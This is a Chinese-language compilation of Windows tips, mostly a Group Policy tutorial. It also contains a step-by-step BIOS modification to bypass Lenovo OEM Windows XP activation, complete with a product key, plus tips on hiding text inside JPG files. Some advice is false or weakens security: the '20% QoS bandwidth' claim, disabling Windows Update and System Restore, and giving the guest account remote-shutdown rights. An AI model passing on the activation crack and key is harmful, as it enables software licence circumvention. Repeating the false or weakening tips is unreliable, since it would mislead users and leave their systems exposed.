3.单击"确认"按钮,然后再次单击对话框中的"确认"按钮。
4.在从磁盘安装对话框中,选择"系统策略编辑器"和"组策略"复选框,然后单击"安装"按钮。
安装完成后,单击"运行"命令项,输入poledit,然后单击"确认"按钮,管理员可以以两种不同的方式使用系统策略编辑器:注册表方式和策略文件方式。
1.以注册表方式使用系统策略编辑器。在系统策略编辑器中的文件菜单中,单击打开注册表编辑器,然后双击相应的本地用户或本地计算机图标。这取决于要编辑注册表中的哪个部分。在使用注册表方式时,可以直接编辑本地或远程计算机的注册表。这样,所做的改变将立即反映出来。在做出修改之后,必须关机并重新启动计算机以使所做修改生效。
2.以策略文件方式使用系统策略编辑器。在系统策略编辑器中的文件菜单中,单击新建或打开来打开一个策略文件。在使用策略文件方式时,可以创建和修改用于其它计算机的系统策略文件(POL),在这种方式下,注册表被间接地修改。这项改变将在用户登录时策略文件被下载后反映出来。当以策略文件方式编辑设置值时,单击一个注册表选项,可以看到三种可能状态之一:选中、清除、变灰。每当选择一个选项时,将会循环显示下一个可能的状态,这与选择一个标准的复选框不同。标准的复选框只有选中或清除两个选项。
如果一个设置值需要附加信息,那么缺省用户属性对话框的底部将出现一个编辑控制。通常,如果选中了一个策略,而又不想强制使用它,应当清除该复选框来取消该策略。
(二)Windows 2000/XP/2003组策略控制台
如果是Windows 2000/XP/2003系统,那么系统默认已经安装了组策略程序,在"开始"菜单中,单击"运行"命令项,输入gpedit.msc并确定,即可运行程序
使用上面的方法,打开的组策略对象就是当前的计算机,而如果需要配置其他的计算机组策略对象的话,则需要将组策略作为独立的控制台管理程序来打开,具体步骤如下:
1)打开 Microsoft 管理控制台(可在"开始"菜单的"运行"对话框中直接输入MMC并回车,运行控制台程序)。
2)在"文件"菜单上,单击"添加/删除管理单元"。
3)在"独立"选项卡上,单击"添加"。
4)在"可用的独立管理单元"对话框中,单击"组策略",然后单击"添加"。
5)在"选择组策略对象"对话框中,单击"本地计算机"编辑本地计算机对象,或通过单击"浏览"查找所需的组策略对象。
6)单击"完成",单击"关闭",然后单击"确定"。组策略管理单元即打开要编辑的组策略对象。
对于不包含域的计算机系统来说,在上面第5步的界面中,只有"计算机"标签,而没有其他标签项目。
通过上面的方法,我们就可以使用Windows 2000/XP/2003组策略系统强大的网络配置功能,让管理员的工作更轻松和高效。
在上面我们介绍了Windows 9X下的策略编辑器配置项目有"选中、清除、变灰"三种状态,Windows 2000/XP/2003组策略管理控制台同样也有三种状态,只不过名字变了。它们分别是:已启用、未配置、已禁用。
四、"桌面"设置
Windows的桌面就像我们的办公桌一样,需要经常进行整理和清洁,而组策略就如同我们的贴身秘书,让桌面管理工作变得易如反掌。下面就让我们来看看几个实用的配置实例:
位置:"组策略控制台→用户配置→管理模板→桌面"
1.隐藏桌面的系统图标(Windows 2000/XP/2003)
虽然通过修改注册表的方式可以实现隐藏桌面上的系统图标的功能,但这样比较麻烦,也有一定的风险。而采用组策略配置的方法,可以方便快捷地达到此目的。
比如要隐藏桌面上的"网上邻居"和"Internet Explorer"图标,只要在右侧窗格中将"隐藏桌面上‘网上邻居'图标"和"隐藏桌面上的Internet Explorer图标"两个策略选项启用即可;如果隐藏桌面上的所有图标,只要将"隐藏和禁用桌面上的所有项目"启用即可;当启用了"删除桌面上的‘我的文档'图标"和"删除桌面上的‘我的电脑'图标"两个选项以后,"我的电脑"和"我的文档"图标将从你的电脑桌面上消失;同样如果要让"回收站"图标消失,只须将"从桌面删除回收站"策略项启用即可。
2.退出时不保存桌面设置(Windows 2000/XP/2003)
此策略可以防止用户保存对桌面的某些更改。如果你启用这个策略,用户仍然可以对桌面做更改,但有些更改,如图标的位置、任务栏的位置及大小,在用户注销后都无法保存,不过任务栏上的快捷方式总可以被保存。
在右侧窗格中将"退出时不保存设置"这个策略选项启用即可。
3.屏蔽"清理桌面向导"功能(Windows XP/2003)
"清理桌面向导"会每隔 60 天自动在用户的电脑上运行,以清除那些用户不经常使用或者从不使用的桌面图标。如果启用此策略设置,则可以屏蔽"清理桌面向导",如果你禁用或不配置此设置,"清理桌面向导"会按照默认设置每隔60天运行一次。
打开右侧窗格中的"删除清理桌面向导",根据需要设置策略选项即可。
4.启用/禁用"活动桌面"(Windows 2000/XP/2003)
"活动桌面"是Windows 98(及以后版本)或安装了IE 4.0的系统中自带的高级功能,最大的特点是可以设置各种图片格式的墙纸,甚至可以将网页作为墙纸显示。但出于对安全和性能的考虑,有时候我们需要禁用这一功能(并且禁止用户启用它),通过策略设置可以轻松达到这一要求。具体操作方法:打开右侧窗格中的"禁用活动桌面"并启用此策略。
提示:如果同时启用"启用 Active Desktop"设置和"禁用 Active Desktop"设置,则"禁用 Active Desktop"设置会被忽略。如果 "禁用 Active Desktop 和 Web 视图"设置(在"用户配置→管理模板→Windows组件→Windows资源管理器"中)被启用,Active Desktop 就会被禁用,并且这两个策略都会被忽略。
以上介绍了几个关于桌面的组策略配置项目,在"组策略控制台→用户配置→管理模板→桌面"下还有其他若干组策略配置项目,读者可根据需要进行配置,这里不再赘述。
五、个性化"任务栏"和"开始"菜单
显示了"任务栏"和"开始"菜单的有关组策略配置项目。下面我们来看具体的实例:
位置:"组策略控制台→用户配置→管理模板→任务栏和开始菜单"
1.给"开始"菜单减肥(Windows 2000/XP/2003)
如果觉得Windows的"开始"菜单太臃肿的话,可以将不需要的菜单项从"开始"菜单中删除。在组策略右侧窗格中,提供了"从开始菜单删除用户文件夹"、"删除到‘Windows Update'的访问和链接"、"从开始菜单删除公用程序组"、"从开始菜单中删除‘我的文档'图标"等多种组策略配置项目。你只要将不需要的菜单项所对应的策略启用即可。
2.保护好"任务栏"和"开始"菜单(Windows 2000/XP/2003)
如果你不想随意让他人更改"任务栏"和"开始"菜单的设置,你只要将组策略控制台右侧窗格中的"阻止更改‘任务栏和开始菜单'设置"和"阻止访问任务栏的上下文菜单"两个策略项启用即可。这样,当你用鼠标右键单击任务栏并单击"属性"时,系统会出现一个错误消息,且当鼠标右键单击任务栏及任务栏上的项目时,例如"开始"按钮、时钟和"任务栏"按钮,弹出菜单会隐藏。
3.禁止"注销"和"关机"(Windows 2000/XP/2003)
当计算机启动以后,如果你不希望这个用户再进行"关机"和"注销"操作,那么可将组策略控制台右侧窗格中的"删除开始菜单上的‘注销'"和"删除和阻止访问‘关机'命令"两个策略启用。
这个设置会从开始菜单删除"关机"选项,并禁用"Windows 任务管理器"对话框按"Ctrl+Alt+Del"会出现这个对话框中的"关机"选项 。另外需要注意的是,此设置虽然可防止用户用 Windows界面来关机,但无法防止用户用其他第三方工具程序来将 Windows 关闭。
提示:如果启用了"删除开始菜单上的‘注销'",则会从"开始菜单选项"删除"显示注销"项目。用户无法将"注销<用户名>"项目还原到开始菜单(只能通过手工修改注册表的方法)。这个设置只影响开始菜单,它不影响 "Windows 任务管理器"对话框上的"注销"项目(因此需要同时启用"删除和阻止访问‘关机'命令"),而且不妨碍用户用其它方法注销。
4.利用组策略保护个人文档隐私(Windows 2000/XP/2003)
Windows有个高级智能功能,即可以记录你曾经访问过的文件。虽然这个功能可以方便用户再次打开该文件,但出于安全和性能的考虑(例如不想让人知道自己浏览过哪些网页和打开过哪些文件),有时需要屏蔽此功能。利用组策略,只要在右侧窗格中将"不要保留最近打开文档的记录"和"退出时清除最近打开的文档的记录"两个策略启用即可。
另外需要注意的是,如果启用此策略设置但不启用"从开始菜单中删除文档菜单"策略设置,"文档"菜单还会出现在"开始"菜单上,但是该菜单为空菜单。如果启用此策略设置,后来又禁用它并将它设置为"未配置",则启用策略设置之前保存的文档快捷方式会重新出现在"文档"菜单和应用程序的"文件"菜单中。
六、IE设置手到擒来
微软的Internet Explorer让我们可以轻松地在互联网上遨游,但要想用好Internet Explorer,则必须将它配置好。在IE浏览器的"Internet选项"窗口中,提供了比较全面的设置选项(例如:"首页"、"临时文件夹"、"安全级别"和"分级审查"等项目),但部分高级功能没有提供,而通过组策略即可轻松实现这些功能。下面来看具体实例:
位置:"组策略控制台→用户配置→管理模板→Windows 组件→Internet Explorer(需添加inetres.adm模板文件)"
1.禁用"在新窗口中打开"菜单项(Windows 2000/XP/2003)
出于对安全的考虑,有时候我们有必要屏蔽IE的一些功能菜单,组策略提供了丰富的设置项目,比如禁用"另存为..."、"文件"、"新建"等。下面以"禁用‘在新窗口中打开'菜单项"为例介绍具体的设置方法。
打开"组策略控制台→用户配置→管理模板→Windows 组件→Internet Explorer→浏览器菜单",然后打开"禁用‘在新窗口中打开'菜单项"并设置为"启用"。启用该策略后,用户在某个链接上单击鼠标右键,然后单击"在新窗口中打开"时,该命令将不起作用。该策略可与"‘文件'菜单禁用‘新建'菜单项"一起使用,后者禁止用户通过单击"文件"菜单,指向"新建",然后单击"窗口"在新窗口中打开浏览器。
提示:启用该策略后,单击"在新窗口中打开"命令,将无法在新窗口中打开链接,系统会提示用户该命令无效,网页自动打开的窗口也全部被禁止,其实这样也可达到屏蔽弹出广告窗口的效果。
2.限制IE浏览器的保存功能(Windows 2000/XP/2003)
在使用IE浏览网页过程中,当遇到好的图片、文章等资源时可以使用"另存为"功能将它保存到本地硬盘中,当多人共用一台计算机时,为了保持硬盘的整洁,需要对浏览器的保存功能进行限制。那么如何才能实现呢?可以这样操作:打开"组策略控制台→用户配置→管理模板→Windows组件→Internet Explorer→浏览器菜单",然后将右侧窗格中的"‘文件'菜单:禁用‘另存为...'菜单项"、"‘文件'菜单:禁用另存为网页菜单项"、"‘查看'菜单:禁用‘源文件'菜单项"和"禁用上下文菜单"等策略项目全部启用即可。
如果不希望别人对IE浏览器的设置随意更改,可以将"‘工具'菜单:禁用‘Internet选项...'"策略启用。另外,根据个人的需要,在该窗格中还可以禁用其他项目。
3.禁用"Internet 选项"控制面板(Windows 2000/XP/2003)
上面提到了"禁用Internet选项"的功能,使用该功能可以达到阻止别人对IE随便设置的目的。而这种方法无法具体禁用Internet选项中的控制模板项目,因此给具体应用带来麻烦。通过下面的组策略设置方法,则可以实现这一要求:
打开"组策略控制台→用户配置→管理模板→Windows组件→Internet Explorer→Internet 控制面板",在右边窗格中我们可以看到"禁用常规页"、"禁用安全页"等组策略项目。下面以"禁用常规页"为例进行说明:打开右边窗格中的"禁用常规页"并设置为"启用"。然后我们再打开Internet选项控制面板,会发现"常规"项目已经没有了,这样一来用户将无法看到和更改主页、缓存、历史记录、网页外观以及辅助功能的设置,因为该策略将删除界面上的"常规"选项卡,所以如果设置了该策略,则无须设置位于 "用户配置→管理模板→Windows 组件→Internet Explorer"中的诸如"禁用更改主页设置"、"禁用更改颜色设置"等策略。
4.禁止修改IE浏览器的主页(Windows 2000/XP/2003)
如果不希望他人对自己设定的IE浏览器主页进行随意更改的话,可以打开"组策略控制台→用户配置→管理模板→Windows组件→Internet Explorer→工具栏",然后选择"禁用更改主页设置"组策略并启用即可。另外在这个窗格中,还提供了"更改历史记录设置"、"更改颜色设置"和"更改Internet临时文件设置"等项目的禁用功能。
启用此策略后,在IE浏览器的"Internet 选项"对话框中,其"常规"选项卡的"主页"区域的设置将变灰。
提示:如果设置了位于"组策略控制台→用户配置→管理模板→Windows组件→Internet Explorer→Internet Explorer控制面板"中的"禁用常规页"策略,则无须设置该策略,因为"禁用常规页"策略将删除界面上的"常规"选项卡。
5.自定义IE工具栏(Windows 2000/XP/2003)
IE工具栏的背景和上面的按钮都是可以自定义的,以前我们大多使用手动修改注册表的方法,不过并不直观,现在我们用"组策略"可以更方便地达到效果,打造属于我们自己的IE。
打开"组策略控制台→用户配置→Windows设置→Internet Explorer维护→浏览器用户界面"下的"浏览器工具栏按钮自定义"策略配置项目,在这里,可以自定义浏览器工具栏的背景图片,点击"浏览"选择一个BMP的位图文件即可(注意:工具栏背景应该与工具栏大小相同,而亮度应该足以显示黑色文字,否则实际效果并不理想)。
接下来,我们要在IE的工具栏上添加自己的快捷方式,比如添加"我的QQ",在这里也可以很轻松地完成。
点击"添加",在"工具栏标题"中输人"我的QQ",在"工具栏操作"中选择QQ程序的路径,最后再选择好"颜色图标"和"灰度图标"的路径(如果你不知道怎么提取这两个图标,可以请EXeScope这个软件来帮忙,在各大站点都可以下载)。设置完成后点"确定",再次打开IE后就可以看到修改的效果了。
七、轻松实现Windows高级功能
1.设置并锁定Windows Media Player外观(Windows 2000/XP/2003)
Windows Media Player是目前最流行的多媒体播放器之一,如果不希望其他用户随意更改其界面外观的话,利用组策略可以轻松实现。打开"组策略控制台→用户配置→管理模板→Windows 组件→Windows Media Player→用户界面中的设置并锁定外观"启用此策略。
启用此策略后,将使 Windows Media Player 只以指定的外观模式显示,具体可以使用在"策略"选项卡上的"外观"框中指定的外观。你必须为外观使用完整的文件名例如miniplayer.wmz。如果外观文件在用户的计算机上没有安装,播放器将以Windows Media Player外观打开。
提示:本策略设置软件版本至少为Windows Media Player v8.00,ADM文件为wmplayer.adm。
2.禁止Windows Media Player播放时运行屏保(Windows 2000/XP/2003)
屏幕保护程序可以有效地保护我们的显示器,但是当我们使用播放器观看精彩影片时,经常会出现屏幕保护程序突然运行而中断观看的尴尬局面。现在我们可以通过组策略来解决屏幕保护程序使Windows Media Player播放中断的麻烦问题了。打开"组策略控制台→用户配置→管理模板→Windows组件→Windows Media Player→播放中的允许运行屏幕保护程序"并将它设置为"已禁用"状态。
3.优化配置Windows Media Player网络缓冲(Windows 2000/XP/2003)
当我们使用Windows Media Player播放流式媒体时,播放器会在播放前对流式媒体进行缓冲处理,以便可以流畅地进行播放。在实际应用中,根据网络带宽和服务器的连接速度,缓存的时间长短并不一样,但Windows Media Player却是在使用同一设置,这无疑与实际网络情况不匹配,因此我们可以根据具体的网络带宽情况自己优化配置网络缓冲。打开"组策略控制台→用户配置→管理模板→Windows组件→Windows Media Player→网络中的配置网络缓冲"并设置为启用状态,在出现的缓冲时间(秒数)配置选项中,根据网络的带宽情况进行自定义(最多 60 秒)。
提示:如果此策略已启用,那么Windows Media Player"性能"选项卡上的缓存选项将不能再配置。
4.屏蔽使用所有 Windows Update 功能的访问(Windows 2000/XP/2003)
Windows Update可以自动连接Microsoft网站并下载更新内容,这对大部分用户来说是比较实用的,但对于不需要更新或者带宽紧张的电脑用户来说,此功能就显得多余了,而且经常传闻Windows Update会将计算机用户信息"秘密"发往Microsoft,因此也可以屏蔽这一"智能"高级功能。打开"组策略控制台→用户配置→管理模板→Windows 组件→Windows Update"中的"删除使用所有 Windows Update 功能的访问"组策略并启用此策略。
提示:如果你启用此设置,所有 Windows Update功能(其中包括阻止访问Windows Update网站http//windowsupdate.microsoft.com、开始菜单上的 Windows Update的超链接和Internet资源管理器上的工具菜单)将被删除。Windows自动更新也被禁用,你将不会收到有关更新的通知,也不会接到Windows Update的重要更新。此设置还会阻止设备管理器自动从Windows Update网站下载安装驱动程序的更新。
5.在Windows XP/2003中实现远程关机(Windows XP/2003)
在Windows XP/2003中,新增了一条命令行工具"shutdown",它可以关闭或重新启动本地或远程计算机。利用它,我们不但可以注销用户、关闭或重新启动计算机,还可以实现定时关机、远程关机。该命令的语法格式如下:
shutdown [-i |-l|-s |-r |-a][-f][-m[\\ComputerName]][-t xx][-c ″message″][-d[u][p]:xx:yy]
该命令具体的使用参数和技巧请参考Windows的帮助系统,帮助系统里面有全面的资料。我们现在简单地看一下该命令的一些基本用法:
1)注销当前用户
shutdown - l
该命令只能注销本机用户,对远程计算机不适用。
2)关闭本地计算机
shutdown - s
3)重启本地计算机
shutdown - r
4)定时关机
shutdown - s -t 30
指定在30秒之后自动关闭计算机。
5)中止计算机的关闭。有时我们设定了计算机定时关机后,如果出于某种原因又想取消这次关机操作,就可以用shutdown - a来中止。
在该命令的格式中,有一个参数[-m [\\ComputerName],用它可以指定将要关闭或重启的计算机名称,若省略的话则默认为对本机操作。你可以用以下命令来试一下:
shutdown -s -m \\Anyes-solon -t 30
在30秒内关闭计算机名为Anyes-solon(Anyes-solon为局域网内一台同样装有Windows XP/2003)的电脑。
该命令执行后,计算机Anyes-solon一点反应都没有,屏幕上却提示"Access is denied (拒绝访问)"。
出现这种情况是因为Windows XP默认的安全策略中,只有管理员组的用户才有权从远端关闭计算机,而一般情况下我们从局域网内的其他电脑访问该计算机时,则只有guest用户权限,所以当我们执行上述命令时,便会出现"拒绝访问"的情况。
而我们利用组策略即可赋予guest用户远程关机的权限。打开"组策略控制台→计算机配置→Windows 设置→安全设置→本地策略→用户权利指派中的从远端系统强制关机",在弹出的对话框中显示目前只有"Administrators"组的成员才有权从远程关机;单击对话框下方的"添加用户或组"按钮,然后在新弹出的对话框中输入"guest",再单击"确定"按钮。
通过上述操作后,我们便给计算机Anyes-solon的guest用户授予了远程关机的权限。以后,倘若你要远程关闭计算机Anyes-solon,只要在网络中其他装有Windows XP/2003的计算机中输入以下命令shutdown -s -m \\Anyes-solon -t 60即可。
这时,在Anyes-solon计算机的屏幕上将显示一个"系统关机"的对话框,在对话框下方还有一个计时器,显示离关机还有多少时间。在等待关机的时间里,用户还可以执行其他的任务,如关闭程序、打开文件等,但无法关闭该对话框,除非你用shutdown -a命令来中止关机任务。
八、用组策略提升系统性能
1.让Windows 的上网速率提升20%(Windows XP/2003)
默认情况下,Windows网络连接数据包调度程序将系统限制在80%的连接带宽之内,这对带宽较小的网络来说,无疑是笔不小的开支。我们可以通过组策略设置来替代默认值,让我们的上网速率提高20%!
打开"组策略控制台→计算机配置→管理模板→网络"中的"QoS数据包调度程序"并启用此策略,然后使用下面"带宽限制"框来调整系统可保留的带宽比例,将它设置为0%即可,然后按确定退出,之后我们就可以使用另外20%的带宽了。
2.关闭缩略图的缓存(Windows XP/2003)
Windows XP/20003系统具有缩略图视图功能,且为了加快那些被频繁浏览的缩略图显示速度,系统会将这些被显示过的图片进行缓存,以便下次打开时直接读取缓存中的信息,从而达到快速显示的目的。但如果我们不希望系统进行缓冲的话(比如只浏览一次的图片),则可以利用组策略关闭缩略图缓存的功能,这样第一次浏览速度反而会大大加快(因为不进行缓存处理)。
打开"组策略控制台→用户配置→管理模板→Windows组件→Windows资源管理器"中的"关闭缩略图的缓存"并启用此策略。
3.屏蔽系统自带的CD刻录功能(Windows XP/2003)
Windows XP/2003系统自带CD刻录功能,如果你有CD刻录机接在计算机上,Windows 资源管理器允许你制作并修改可重写式CD。但这样无疑会影响系统性能和资源管理器的执行速度,因此我们可以利用组策略来屏蔽此功能(大部分用户都使用专用的CD刻录软件)。
打开"组策略控制台→用户配置→管理模板→网络→"中的"删除CD刻录功能"并启用此策略。
4.关闭系统还原功能(Windows XP/2003)
系统还原是Windows XP/2003中集成的强大功能,它在系统运行的同时,备份那些被更改的文件和数据,如果出现问题,系统还原使用户能够在不丢失个人数据文件的情况下,将计算机还原到以前的状态。默认情况下,系统还原处于打开状态。
但为这一功能付出的代价也是相当大的,系统性能会明显下降,磁盘空间也会被占用很多。对于配置不高的计算机来说,强烈建议关闭此功能。
打开"组策略控制台→计算机配置→管理模板→系统→系统还原"中的"关闭系统还原"并启用此策略。启用此设置后即可关闭系统还原功能,并且不能访问"系统还原向导"和"配置界面"。
5.禁止Windows Messenger自动运行(Windows XP/2003)
在Windows系统中集成的优秀应用软件越来越多,但这些系统内置的软件都没有卸载选项,引起很多电脑用户的不满。比如Windows XP自带的Windows Messenger,不但卸载不方便而且还随系统一起自动运行。对于不上网的计算机用户或者根本就不用Windows Messenger的用户来说,当然要屏蔽此软件的自动运行功能。
打开"组策略控制台→计算机配置→管理模板→Windows组件→Windows Messenger"中的"不允许运行Windows Messenger "并启用此策略。
提示:这个设置出现在"计算机配置"和"用户配置"文件夹中。如果两个设置都配置,"计算机配置"中的设置比"用户配置"中的设置优先。
九、用组策略打造系统铜墙铁壁级功能
1.隐藏"我的电脑"中指定的驱动器(Windows XP/2003)
此组策略可以从"我的电脑"和"Windows 资源管理器"上删除代表所选硬件驱动器的图标。并且驱动器号代表的所有驱动器不出现在标准的打开对话框上。
打开"组策略控制台→用户配置→管理模板→Windows组件→Windows资源管理器"中的"隐藏‘我的电脑'中的这些指定的驱动器"并启用此策略,并在下面列表框中选择一个驱动器或几个驱动器。
提示:这项策略只删除驱动器图标。用户仍可通过使用其它方式继续访问驱动器的内容。同时这项策略不会防止用户使用程序访问这些驱动器或其内容。并且也不会防止用户使用磁盘管理即插即用来查看并更改驱动器特性。
2.防止从"我的电脑"访问驱动器(Windows 2000/XP/2003)
此策略让用户无法查看在"我的电脑"或"Windows 资源管理器"中所选驱动器的内容。同时它也禁止使用运行对话框、镜像网络驱动器对话框或Dir命令查看在这些驱动器上的目录。
打开"组策略控制台→用户配置→管理模板→Windows组件→Windows资源管理器"中的"防止从‘我的电脑'访问驱动器"并启用此策略,并在下面列表框中选择一个驱动器或几个驱动器。
提示:这些代表指定驱动器的图标仍旧会出现在"我的电脑"中,但是如果用户双击图标,会出现一条消息解释设置防止这一操作。同时这些设置不会防止用户使用其它程序访问本地和网络驱动器。并且不防止他们使用磁盘管理即插即用查看和更改驱动器特性。
3.禁止使用命令提示符(Windows 2000/XP/2003)
在Windows 2000/XP/2003下,我们可以运行cmd.exe进入命令提示符状态,并可以继续运行一些DOS命令和其他命令行程序。出于对安全的考虑,有些系统应该屏蔽此功能。
打开"组策略控制台→用户配置→管理模板→系统"中的"阻止访问命令提示符"并启用此策略,并在下面列表框中选择是否"也停用命令提示符脚本处理",这个设置还决定批处理文件 .cmd和.bat是否可以在计算机上运行。
如果启用这个设置,在用户试图打开命令窗口时,系统会显示一条消息,解释设置阻止这一操作。
4.禁止更改显示属性(Windows 2000/XP/2003)
选择"控制面板"中的"显示"或在Windows桌面的空白处单击右键选择"属性",可进入"显示设置"对话框,可以对桌面主题、桌面背景、屏保程序、显示设置等各项进行设置,如果你不想让别人随意更改各项设置,可以通过组策略将它隐藏起来。
打开"组策略控制台→用户配置→管理模板→控制面板→显示",然后可以看到隐藏桌面选项卡、隐藏主题选项卡、隐藏保护程序选项卡、隐藏设置选项卡等策略配置,可根据需要对这些项目进行配置。比如启用了"隐藏‘桌面'选项卡"策略后,再打开"显示属性"对话框,就看不到"桌面"标签了,这样自然就无法再对桌面属性进行更改了。
5.禁用注册表编辑器(Windows 2000/XP/2003)
为了防止他人进入电脑后对注册表文件进行修改,可以在组策略中对注册表编辑器做禁止访问设置。具体操作方法:打开"组策略控制台→用户配置→系统"中的"阻止访问注册表编辑工具"并启用此策略。
此策略被启用后,用户试图启动注册表编辑器(Regedit.exe 及 Regedt32.exe)的时候,系统会禁止这类操作并弹出警告消息。
6.彻底禁止访问"控制面板"(Windows 2000/XP/2003)
如果不希望其他用户访问计算机的"控制面板",同样可以使用组策略来实现。打开"组策略控制台→用户配置→管理模板→扩展面板"中的"禁止访问控制面板"并启用此策略。
此策略启用后可以防止"控制面板"程序文件(Control.exe)的启动。他人将无法启动"控制面板"(或运行任何"控制面板"项目)。另外,这个设置将从"开始"菜单中删除"控制面板"。同时这个设置还从"Windows资源管理器"中删除"控制面板"文件夹。
7.禁止建立新的拨号连接(Windows 2000/XP/2003)
如果不想让别人在计算机中建立新连接来拨号上网的话,组策略也可以做到。打开"组策略控制台→用户配置→管理模板→网络→网络连接"中的"禁止访问新建连接向导"并启用此策略。
启用此策略后,在"网络连接"文件夹和"开始菜单"中就不会出现"建立新连接"。
提示:此设置无法阻止用户使用诸如 Internet Explorer 这样的其它程序来绕过此设置。另外此设置必须重新启动计算机后才能生效。
8.禁用"添加/删除程序"(Windows 2000/XP/2003)
"控制面板"中"添加或删除程序"项目允许你安装、卸载、修复并添加和删除 Windows 的功能和组件以及种类很多的 Windows 程序。如果你想阻止其他用户安装或卸载程序,可利用组策略来实现。
打开"组策略控制台→用户配置→管理模板→控制面板→添加→删除程序"中的"删除‘添加/删除程序'程序"并启用此策略,当我们再打开"控制面板"中"添加/删除程序"模块的时候,会自动弹出警告窗口,而"添加/删除程序"则无法运行。
此外,在"添加/删除程序"分支中还可以对Windows"添加/删除程序"项中的"添加新程序"、"从CD-ROM或软盘添加程序"、"从Microsoft添加程序"、"从网络添加程序"等项进行隐藏,通过这些策略项目的设置,起到了保护计算机中系统文件及应用程序的作用。
9.限制使用应用程序(Windows 2000/XP/2003)
如果你的电脑设置了多个用户,有些程序我们可能不希望其他用户随意运行,也能在组策略中设置。
打开"组策略控制台→用户配置→管理模板→系统"中的"只运行许可的Windows应用程序"并启用此策略,然后点击下面的"允许的应用程序列表"边的"显示"按钮,弹出一个"显示内容"对话框,在此单击"添加"按钮来添加允许运行的应用程序即可。以后一般用户只能运行"允许的应用程序列表"中的程序
修改BIOS破解联想OEM WINXP的办法
修改BIOS的方法:
用修改BIOS的工具修改BIOS的Message(也就是启动时的提示),AMI和Award的BIOS都可用!我自己的
电脑是AwardBIOS(6.0PG)的,用modbin6修改BIOS Message,在前面加入了"LEGEND Dragon",要注意大小写,没有两边的引号。安装联想的OEM XP成功。AMI的BIOS也行的,需要用AMI的修改工具,在http://www.mybios.net 有.修改后安装自动激活,这可是真正的激活呀!可以正常安装XP SP1简体中文版(不嫌麻烦的话可以上网自动更新),一切正常,无任何问题!哈哈!
这下子不用为XP激活发愁了!!!
Award BIOS修改的详细步骤:
所需文件:
1. awdflash.exe
http://202.102.9.113/bioshome/down/list.asp?id=489
2.modbin 两个版本 如果你的Award BIOS是4.x 版的就用modbin 如果是6.x版本就用modbin6 ,是什么版本,可以在开机启动时看出来!
modbin4 http://202.102.9.113/bioshome/down/list.asp?id=482
modbin6 http://202.102.9.113/bioshome/down/list.asp?id=484
具体过程:</p>
1. 进入纯DOS方式,不是Windows下的DOS窗口
2. 运行awdflash /sy 读出你主板上的BIOS存成awdbios.bin
3. 运行modbin awdbios.bin 或者modbin6 awdbios.bin
4. 选Change BIOS Message,然后在最前面加入"LEGEND Dragon"注意大小写,后面加以随便任意改
,但前面必须是"LEGEND Dragon",如果后面还要有内容,最好与Dragon之间空格!
例如我原来的BIOS Message是"J.663AS Ultra A07 12-14-2001"我就改成"LEGEND
Dragon J.663AS
Ultra A07 12-14-2001"就可以了。当然改成其他的也行,比如""LEGEND Dragon calfier@shark"什么的,回车确认后,按Alt-F选Save.
5. 运行awdflash awdbios.bin写入你的BIOS就可以了
修改过程可以在安装XP后再改,安装前改好也行,随你的便!我特意做过试验,把BIOS MESSAGE信息改
回去,它就提示还有30天的激活时间,再改成LEGEND Dragon,进入XP后就又激活了,再改回原来的,
又提示你需要激活 :)联想OEM版安装CD-KEY:FCDGH-QW3DJ-VBC6C-9BYTX-4GKQJ
注意问题:
1、修改后运行安装光盘中的一个INSTALL.EXE文件,会有"你的使用请求目前不被接受,本安装光盘仅
允许在联想(北京)有限公司生产的计算机系统上使用......"这样的提示,这种情况不碍事的,直接
在DOS下像其它XP安装光盘一样用WINNT命令安装就可以了!我想这个文件不只是检测BIOS中修改的那个
标志吧!
2、必须用原版的联想OEM安装光盘(文件),不然能出现什么问题就不敢说了!(像用破解激活的版本
安装的话,像别的破解版一样同样可以激活,但是否能够升SP1,且不出问题就不敢肯定了);、原版的
联想XP PRO版安装光盘(我的是这样的)下有一LEGEND目录,该目录下有一i386目录,这个目录就是XP的安装文件目录,共6503个文件,113个文件夹,容量共533,674,388字节,我想目录可以在刻盘过程中改变,但字节数如果是原版的话,一般不会变吧。
巧用文件合并隐藏秘密
我们都知道DOS命令Copy的主要作用是复制文件,可是你是否知道,它还有一个
作用是合并文件呢?
一般情况下,它主要用于合并相同类型的文件,比如将两个文本文件合并为一
个文本文件、将两个独立的MPEG视频文件合并为一个连续的视频文件等。那么,
如果用它合并两个不同类型的文件,结果会怎样呢?
笔者发现,巧妙地将一个文本文件合并到一个非文本文件中,可以实现隐藏秘密
的作用。一起来看看吧。
比如你有一段私人信息要隐藏起来,请先录入并保存为文本文件,假设保存为
001.txt。另找一个非文本文件,最好为图片文件或可执行文件。以图片文件为例
,假设它的文件名为002.jpg。如果把它们都放到D盘根目录下,那么在Windows的
MS-DOS方式下执行以下命令:
d:\Copy 002.jpg/b + 001.txt/a 003.jpg
其中参数/b指定以二进制格式复制、合并文件;参数/a指定以ASCII格式复制、合
并文件。这里要注意文件的顺序,二进制格式的文件应放在加号前,文本格式的
文件放在加号后。
执行该命令后,生成了一个新文件003.jpg。回到Windows中用图片浏览软件打开
这个它,你会发现它与002.jpg的显示结果一模一样——别着急,秘密马上揭晓!
用记事本打开003.jpg(在记事本的"打开"对话框中选择"文件类型"为"所有
文件"才能打开非TXT文件;或者直接用鼠标把图片拖进记事本窗口),你看到什
么了?一堆乱码吗?没错!但如果你按下Ctrl+End键将光标移至文件的尾部,哈
,你再看看!是不是001.txt文件中的内容?呵呵,"秘密"原来在这儿。
按照这种方法,你可以轻松地把一些重要信息隐藏起来,比如用户ID、密码、重
要私人信息等。
这个方法的确很巧妙,推荐尝试!哪怕你并不想隐藏什么,它也能带给你一种新
奇的感觉。但经过我的验证,有一点要提醒大家:就是这个文本文件的前面最好
空上3行以上,这样它头部的内容就不会丢失。
另外,你合并好文件后千万不要用记事本作任何改动,否则,你的图片就不能正
常显示了。切记!
小技巧汇总(如果你有更好的请跟帖子大家共分享)
我综合了网上的有关软件应用的小巧和自己的几个,希望对大家有用,如果你有更好的请跟帖子大家共分享!有关注册表修改的,请先备份注册表!
4、 永久不开启3721
- Win9x/Me
编辑文件 X:Windowshosts,添加一行代码:
download.3721.com 255.255.255.255
- WinNT/2000
编辑文件 X:WINNTsystem32driversetchosts,添加一行代码:
255.255.255.255 download.3721.com
- WinXP
编辑文件 X:Windowssystem32driversetchosts,添加一行代码:
255.255.255.255 download.3721.com
对于 CNNIC 的中文域名也可以用,域名改成 cdn2.cnnic.cn
7、 将MP3中音质不好的部分去除
修正MP3歌曲可以通过mp3Trim软件来实现。
